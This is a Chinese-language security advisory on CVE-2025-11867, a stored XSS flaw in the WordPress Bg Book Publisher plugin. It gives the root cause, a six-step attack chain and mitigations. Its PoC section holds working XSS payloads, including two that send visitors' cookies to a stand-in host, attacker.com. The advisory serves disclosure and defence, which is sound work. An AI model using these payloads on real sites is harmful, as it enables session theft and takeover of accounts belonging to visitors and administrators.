IPBUF安全漏洞报告
English
CVE-2025-11867 CVSS 6.4 中危

CVE-2025-11867:WordPress Bg Book Publisher插件存储型XSS漏洞

披露日期: 2025-10-22

漏洞信息

漏洞编号
CVE-2025-11867
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Bg Book Publisher插件

相关标签

CVE-2025-11867存储型XSSStored XSS跨站脚本WordPressBg Book Publisher插件漏洞短代码注入post meta中等严重性

漏洞概述

CVE-2025-11867是WordPress Bg Book Publisher插件中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞由Wordfence安全团队的研究员发现并报告,CVSS评分为6.4分,属于中危级别漏洞。Bg Book Publisher是一款用于WordPress的书籍发布管理插件,允许网站管理员管理和展示书籍信息,包括作者、标题、简介等内容字段。

该漏洞存在于插件处理书籍作者(book_author)自定义字段的过程中。具体而言,当贡献者(Contributor)级别及以上的用户创建或编辑书籍内容时,可以通过book_author文章元数据字段注入恶意的JavaScript代码。由于插件在通过[book_author]短代码渲染该元数据值时未对其进行充分的转义和过滤,导致恶意脚本被持久化存储到数据库中。每当普通用户或其他管理员访问包含该短代码的页面时,存储的恶意脚本将在受害者浏览器中自动执行。

该漏洞的危害主要体现在以下几个方面:攻击者可以窃取用户的会话Cookie、劫持用户账户、进行钓鱼攻击、篡改页面内容、重定向用户到恶意网站,甚至利用管理员权限进一步植入后门或进行权限提升。由于存储型XSS的影响范围广且持久性强,一旦恶意内容被注入,所有访问相关页面的用户都会受到影响,对网站安全构成严重威胁。

技术细节

该漏洞的根本原因在于Bg Book Publisher插件在处理book_author文章元数据时缺乏适当的输出转义机制。当用户通过WordPress后台创建或编辑书籍类型的文章时,book_author字段作为文章元数据(post meta)被保存到数据库中。插件提供了[book_author]短代码用于在页面前端展示该字段的值。

在渲染过程中,插件直接调用了类似echo或print的输出函数来显示book_author元数据的值,而没有使用WordPress提供的转义函数(如esc_html、esc_attr、esc_url等)。这意味着如果攻击者在book_author字段中输入包含HTML标签和JavaScript代码的内容,例如:

<img src=x onerror=alert(document.cookie)>

或者:
<script>alert('XSS')</script>

这些恶意代码将被原样输出到HTML页面中,并在用户浏览器中执行。由于该字段是文章元数据,存储在WordPress的wp_postmeta数据库表中,因此属于存储型XSS——恶意载荷在用户每次访问包含[book_author]短代码的页面时都会执行。

利用条件方面,攻击者需要拥有贡献者(Contributor)级别及以上的WordPress账户权限。WordPress的贡献者角色默认可以创建和编辑自己的文章,但无法发布。通过该角色权限,攻击者可以提交包含恶意book_author字段的文章,等待审核或自动发布后即可触发XSS攻击。CVSS向量中的S:C(Scope Changed)表明该漏洞可能影响超出插件本身的安全上下文,波及整个WordPress站点的安全。

攻击链分析

STEP 1
步骤1:获取账户权限
攻击者通过注册、购买或社会工程等方式获取目标WordPress站点的贡献者(Contributor)级别及以上账户权限。贡献者角色可以创建和编辑文章内容。
STEP 2
步骤2:创建恶意书籍文章
攻击者登录WordPress后台,创建一篇新的Book自定义文章类型,在book_author元数据字段中注入恶意的JavaScript代码,如窃取Cookie或执行特权操作的脚本。
STEP 3
步骤3:提交或发布文章
攻击者保存包含恶意载荷的文章。由于贡献者角色无法直接发布,文章将进入待审核状态,攻击者等待管理员审核通过或利用其他方式触发文章发布。
STEP 4
步骤4:恶意脚本持久化存储
恶意JavaScript代码作为book_author元数据被存储到WordPress数据库的wp_postmeta表中,成为持久化的存储型XSS载荷。
STEP 5
步骤5:触发XSS执行
当任何用户(包括管理员)访问包含[book_author]短代码的页面时,插件未转义地输出恶意代码,脚本在受害者浏览器中自动执行。
STEP 6
步骤6:实施恶意行为
恶意脚本在受害者上下文中执行,可窃取会话Cookie、劫持账户、进行钓鱼攻击、植入Web Shell或利用管理员权限进行进一步渗透攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2025-11867 Stored XSS via book_author post meta in Bg Book Publisher plugin --> <!-- Step 1: Login as Contributor or higher role --> <!-- Step 2: Create a new post of Book custom post type --> <!-- Step 3: In the book_author meta field, inject the following payload: --> <script>alert('CVE-2025-11867 XSS');document.location='https://attacker.com/steal?cookie='+document.cookie</script> <!-- Alternative payloads: --> <img src=x onerror="fetch('https://attacker.com/log?data='+btoa(document.cookie))"> <svg/onload=alert(document.domain)> <!-- Step 4: Save/Submit the post for review --> <!-- Step 5: Once published (or previewed by admin), the XSS payload executes --> <!-- in the browser of any user visiting the page containing --> <!-- the [book_author] shortcode --> <!-- Example shortcode usage in post content: --> [book_author] <!-- The plugin renders the unsanitized book_author meta value directly, causing the injected script to execute in the victim's browser context. -->

影响范围

Bg Book Publisher <= 1.25

防御指南

临时缓解措施
在等待官方修复版本发布之前,建议采取以下临时缓解措施:1)暂时停用Bg Book Publisher插件以消除攻击面;2)如果必须使用该插件,应限制贡献者及以上角色的用户数量,仅允许完全可信的用户拥有这些权限;3)通过WordPress安全插件或Web应用防火墙添加针对book_author字段和[book_author]短代码的自定义过滤规则;4)在网站层面部署内容安全策略(CSP),通过设置严格的script-src指令来限制内联脚本执行;5)定期检查数据库中存储的book_author元数据值,排查和清理可疑的HTML/JavaScript内容;6)监控网站访问日志,关注异常的重定向请求或可疑的外部域名连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表